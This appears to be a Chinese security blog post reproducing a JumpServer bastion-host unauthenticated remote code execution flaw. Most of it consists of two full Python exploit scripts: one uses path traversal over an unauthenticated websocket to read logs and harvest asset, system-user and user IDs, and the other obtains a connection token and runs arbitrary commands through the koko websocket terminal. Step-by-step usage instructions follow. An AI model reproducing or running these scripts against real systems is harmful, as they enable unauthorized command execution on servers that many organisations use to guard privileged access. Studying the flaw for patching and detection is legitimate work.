文章来源:EDI安全
01
前言
JumpServer 开源堡垒机部署广泛,遵循GNU GPL v2.0开源协议,是符合 4A 的专业运维安全审计系统
网上公众号&&大佬的分析文章已经很多了,参考了360安全忍者师傅的分析以后,替大家踩踩坑做一下复现。
02
流程
1.通过ws连接jumpserver的未授权api,进行日志读取 获取 (system_id,target_id,system_user_id)
2.利用 /api/v1/authentication/connection-token/?user-only=1 获取token (此token 20s内有效)
3.通过ws 连接 /koko/ws/token/?target_id 带入刚刚获取的token_id 进行执行命令
03
获取日志
#进行日志读取 获取 (system_id,target_id,system_user_id)
import asyncio
import websockets
import json
import re
import sys
try:
ip=sys.argv[1]
except:
print("example: python jumpserver_getlog_edi.py 127.0.0.1:8080")
exit()
async def send_msg(websocket,_text):
print("##########send payload")
print("##########wait some time")
await websocket.send(_text)
recv_text = await websocket.recv()
print(recv_text)
async def main_logic():
async with websockets.connect(f"ws://{ip}/ws/ops/tasks/log/") as websocket:
_text = json.dumps({"task": "../../../../../../../opt/jumpserver/logs/gunicorn"})
await send_msg(websocket,_text)
while True:
recv_text = await websocket.recv()
recv_text=json.loads(recv_text)
# print(recv_text['message'])
#print(len(recv_text['message']))
if '/api/v1/perms/asset-permissions/user/validate/' in recv_text['message']:
pattern = re.compile(
'\/api\/v1\/perms\/asset-permissions\/user\/validate\/\?action_name=connect&asset_id=(?P<asset>.*)&cache_policy=\d&system_user_id=(?P<system_user>.*)&user_id=(?P<user>.*) HTTP/1.1" 200 12')
s = pattern.search(recv_text['message'])
print(s.groupdict())
if len(recv_text['message']) < 100:
break
asyncio.get_event_loop().run_until_complete(main_logic())
print("end")
04
执行命令
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(4):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print(f"exec cmd:{cmd}")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(4):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')
if __name__ == '__main__':
try:
import sys
host=sys.argv[1]
cmd=sys.argv[2]
if host[-1]=='/':
host=host[:-1]
print(host)
data = {'asset': '6d519570-b89c-495b-bffb-f958cccaaf4c', 'system_user': '3ced8e58-8a88-4389-93cb-0bf718e8e22e', 'user': 'e6b344c0-682e-4e5c-845a-fb064e7bf673'}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
except:
print("python jumpserver.py http://127.0.0.1 whoami")
05
复现
0x01
python jumpserver_getlog.py 127.0.0.1:8080
获取所用的三个ID
0x02
替换RCE脚本的ID 53行处
0x03
python jumpserver_rce.py http://x.x.x.x:8080/ "ls -al"
看到这个就执行成功啦
推荐文章++++
*CVE-2021-3019:Lanproxy任意文件读取漏洞复现